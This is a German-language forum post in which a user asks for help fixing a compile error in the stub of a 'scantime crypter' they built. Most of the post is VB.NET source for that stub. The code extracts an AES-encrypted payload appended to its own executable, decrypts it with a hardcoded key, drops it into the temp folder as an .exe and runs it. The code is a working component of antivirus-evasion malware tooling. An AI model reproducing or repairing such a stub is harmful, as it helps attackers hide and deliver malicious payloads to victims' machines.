hallo liebes Forum...habe soeben einen Scantime Crypter erstellt, und wollte dazu die passende stub schreiben...
hab das ganze mal soweit gemacht, aber habe dann folgendes problem...
" Der Name "Aplication" wurde nicht Deklariert"
hier mal der source, würde mich um schnelle Hilfe freuen....
Module Module1
Sub Main()
On Error Resume Next
Dim Dateiname As String = Environ("tmp") & "\date1.exe" 'Der Beispiel Speicherort()
Dim sStub As String 'Wieder die sStub
Dim Splitt As String = "123splitt123" 'Splitt und Key müssen genauso
'wie im anderen sein
Dim Key As String = "123key123"
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, _
OpenAccess.Read, OpenShare.Shared)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)
Dim Splitter() As String
Splitter = Split(sStub, Splitt)
Dim Tcrypt As String = Splitter(1)
Dim AesProvider As New Security.Cryptography.RijndaelManaged
Dim btCipher() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim KeyGen As New Security.Cryptography.Rfc2898DeriveBytes(Key, btSalt)
AesProvider.Key = KeyGen.GetBytes(AesProvider.Key.Length)
AesProvider.IV = KeyGen.GetBytes(AesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New Security.Cryptography.CryptoStream(ms, AesProvider.CreateDecryptor(), _
Security.Cryptography.CryptoStreamMode.Write)
btCipher = Convert.FromBase64String(Tcrypt)
cs.Write(btCipher, 0, btCipher.Length)
cs.Close()
Tcrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
FileOpen(1, (Dateiname), OpenMode.Binary)
FilePut(1, Tcrypt)
FileClose(1)
Shell(Dateiname, AppWinStyle.MinimizedFocus)
End
End Sub
End Module
PS: die "Form" ist eine konsolenanwendung, kann das problem daran liegen? weiss echt nichmehr weiter...